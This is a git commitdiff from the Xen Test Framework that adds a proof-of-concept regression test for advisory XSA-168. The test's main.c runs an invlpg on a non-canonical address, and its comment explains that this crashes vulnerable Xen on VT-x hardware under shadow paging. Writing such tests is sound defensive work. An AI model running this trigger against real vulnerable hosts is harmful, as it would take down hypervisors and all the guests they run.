]> xenbits.xensource.com Git - people/royger/xen-test-framework.git/commitdiff
XSA-168 Proof of Concept test
authorAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 10 Dec 2015 15:59:02 +0000 (15:59 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 24 Mar 2016 20:00:31 +0000 (20:00 +0000)
Must be run with shadow paging

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-168/Makefile [new file with mode: 0644]
tests/xsa-168/extra.cfg.in [new file with mode: 0644]
tests/xsa-168/main.c [new file with mode: 0644]

index 891d164ca2e3891bdd78be2d7aa3adea706c0ad5..537e9e6684e7769838b32798f255dc70fdc70494 100644 (file)
@@ -26,6 +26,8 @@ Coveres XSA-106 and XSA-156.
 
 @subpage test-xsa-167 - PV superpage sanity checks.
 
+@subpage test-xsa-168 - `INVVPID` non-canonical guest address.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-168/Makefile b/tests/xsa-168/Makefile
new file mode 100644 (file)
index 0000000..45485e7
--- /dev/null
@@ -0,0 +1,13 @@
+ROOT := $(abspath $(CURDIR)/../..)
+
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-168
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+TEST-EXTRA-CFG := extra.cfg.in
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-168/extra.cfg.in b/tests/xsa-168/extra.cfg.in
new file mode 100644 (file)
index 0000000..211661a
--- /dev/null
@@ -0,0 +1 @@
+hap=0
diff --git a/tests/xsa-168/main.c b/tests/xsa-168/main.c
new file mode 100644 (file)
index 0000000..29389bd
--- /dev/null
@@ -0,0 +1,51 @@
+/**
+ * @file tests/xsa-168/main.c
+ * @ref test-xsa-168
+ *
+ * @page test-xsa-168 XSA-168
+ *
+ * Advisory: [XSA-168](http://xenbits.xen.org/xsa/advisory-168.html)
+ *
+ * This vulnerability only affects VT-x hardware, and can only exploited by a
+ * guest running with shadow paging.
+ *
+ * The `invlpg` (and `invlpga` on AMD) instructions are specified to be nops
+ * for non-canonical addresses.  When using HAP, the instructions are not
+ * intercepted, and dealt with by hardware.
+ *
+ * However with shadow paging, the instructions are intercepted to prevent
+ * @#PF's from not-yet-populated shadows.  On VT-x hardware, this ends up
+ * turning into a `invvpid` in Xen, which does suffer a @#GP on a
+ * non-canonical address.
+ *
+ * To cause Xen to execute an `invvpid` instruction, the address (omitting the
+ * sign extension) must be a small page.  This is covered in XTF because the
+ * single 4K page at NULL is unmapped.
+ *
+ * The testcase attempts to execute such an `invlpg` instruction.  If running
+ * in shadow mode, on VT-x hardware, on a vulnerable version, Xen will crash
+ * with a @#GP fault.  If not, the test will exit cleanly.  The test is unable
+ * to distinguish between a fixed Xen and a test misconfiguration.
+ *
+ * @sa tests/xsa-168/main.c
+ */
+#include <xtf/lib.h>
+
+void test_main(void)
+{
+    printk("XSA-168 PoC\n");
+
+    asm volatile ("invlpg (%0)" :: "q" (0x8000000000000000UL));
+
+    xtf_success(NULL);
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */